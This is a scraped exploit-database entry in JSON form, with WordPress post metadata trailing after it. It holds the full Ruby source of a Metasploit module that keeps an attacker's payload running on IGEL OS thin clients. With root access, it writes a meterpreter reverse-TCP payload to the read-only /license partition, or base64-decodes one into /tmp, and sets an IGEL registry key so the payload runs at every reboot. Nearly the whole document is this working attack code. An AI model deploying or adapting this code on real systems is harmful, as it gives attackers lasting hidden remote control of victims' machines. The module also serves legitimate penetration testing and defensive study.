{“lastseen”:”2025-11-26T19:04:37″,”description”:”Gain persistence for specified payload on IGEL OS Workspace Edition, by writing a payload to disk or base64-encoding and executing from registry. Module Options msf use exploit\/linux\/persistence\/igelpersistence msf exploitigelpersistence show targets…”,”published”:”2025-11-26T18:53:41″,”modified”:”2025-11-26T18:53:41″,”type”:”metasploit”,”title”:”IGEL OS Persistent Payload”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-PERSISTENCE-IGEL_PERSISTENCE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n include Msf::Post::Linux\\n include Msf::Post::Linux::System\\n include Msf::Post::Unix\\n include Msf::Post::File\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::EXE\\n include Msf::Exploit::Local::Persistence\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘IGEL OS Persistent Payload’,\\n ‘Description’ =\\u003e %q{\\n Gain persistence for specified payload on IGEL OS Workspace Edition, by writing\\n a payload to disk or base64-encoding and executing from registry.\\n },\\n ‘Author’ =\\u003e ‘Zack Didcott’,\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Platform’ =\\u003e [‘linux’],\\n ‘Arch’ =\\u003e [ARCH_CMD, ARCH_X64],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Linux Command’, {\\n ‘Arch’ =\\u003e [ARCH_CMD],\\n ‘DefaultOptions’ =\\u003e { ‘PAYLOAD’ =\\u003e ‘cmd\/linux\/https\/x64\/meterpreter\/reverse_tcp’ },\\n ‘Type’ =\\u003e :nix_cmd\\n }\\n ],\\n [\\n ‘Linux Dropper’, {\\n ‘Arch’ =\\u003e [ARCH_X64],\\n ‘DefaultOptions’ =\\u003e { ‘PAYLOAD’ =\\u003e ‘linux\/x64\/meterpreter\/reverse_tcp’ },\\n ‘Type’ =\\u003e :linux_dropper\\n }\\n ],\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘SessionTypes’ =\\u003e [‘shell’, ‘meterpreter’],\\n ‘DisclosureDate’ =\\u003e ‘2016-11-02’, # IGEL OS 10 release date\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘REGISTRY_KEY’, [\\n true,\\n ‘Registry key to use for automatically executing payload’,\\n ‘userinterface.rccustom.custom_cmd_net_final’\\n ]),\\n OptString.new(‘TARGET_DIR’, [true, ‘Directory to write payload (dropper only)’, ‘\/license’]),\\n OptBool.new(‘REGISTRY_ONLY’, [true, ‘Set whether to store payload in registry (dropper only)’, false])\\n ])\\n end\\n\\n def validate\\n unless is_root?\\n fail_with(Failure::NoAccess, ‘Session does not have root access’)\\n end\\n end\\n\\n def install_persistence\\n validate\\n\\n case target[‘Type’]\\n when :nix_cmd\\n command = payload.encoded\\n when :linux_dropper\\n if datastore[‘REGISTRY_ONLY’]\\n print_status(‘Base64-encoding payload’)\\n encoded_payload = Rex::Text.encode_base64(generate_payload_exe)\\n command = base64_command(encoded_payload)\\n else\\n print_status(\\”Uploading payload to #{datastore[‘TARGET_DIR’]}\\”)\\n payload_file = write_payload(generate_payload_exe, datastore[‘TARGET_DIR’], 0o700)\\n command = local_command(payload_file)\\n end\\n end\\n\\n print_status(‘Writing persistence to registry’)\\n write_registry(datastore[‘REGISTRY_KEY’], command)\\n if get_registry(datastore[‘REGISTRY_KEY’]) != command\\n fail_with(Failure::Unknown, ‘Failed to write to registry’)\\n else\\n print_status(‘Registry written successfully’)\\n print_status(‘The payload should be executed when the target reboots’)\\n end\\n end\\n\\n def remount_license(opt = ‘rw’)\\n create_process(‘\/bin\/mount’, args: [‘-o’, \\”remount,#{opt}\\”, ‘\/license’])\\n end\\n\\n def write_payload(contents, dir, perm)\\n remount_license(‘rw’)\\n\\n filepath = \\”#{dir}\/#{Rex::Text.rand_text_alpha(8)}\\”\\n write_file(filepath, contents)\\n chmod(filepath, perm)\\n\\n remount_license(‘ro’)\\n\\n return filepath\\n end\\n\\n def base64_command(encoded_payload)\\n payload_dest = \\”\/tmp\/#{Rex::Text.rand_text_alpha(8)}\\”\\n \\”\/bin\/bash -c ‘\/bin\/echo ‘#{encoded_payload}’ | \/usr\/bin\/base64 -d \\u003e ‘#{payload_dest}’; \/bin\/chmod +x ‘#{payload_dest}’; ‘#{payload_dest}’ \\u0026’\\”\\n end\\n\\n def local_command(payload_file)\\n command = \\”\/bin\/bash -c ‘\/bin\/mount -o remount,exec \/license; ‘#{payload_file}’ \\u0026’\\”\\n return command\\n end\\n\\n def get_registry(key)\\n create_process(‘\/bin\/get’, args: [key])\\n end\\n\\n def write_registry(key, value)\\n create_process(‘\/bin\/setparam’, args: [key, value])\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/igel_persistence.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/igel_persistence\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-26T19:04:37″,”description”:”Gain persistence for specified payload on IGEL OS Workspace Edition, by writing a payload to disk or base64-encoding and executing from registry. Module Options msf…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-27759","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n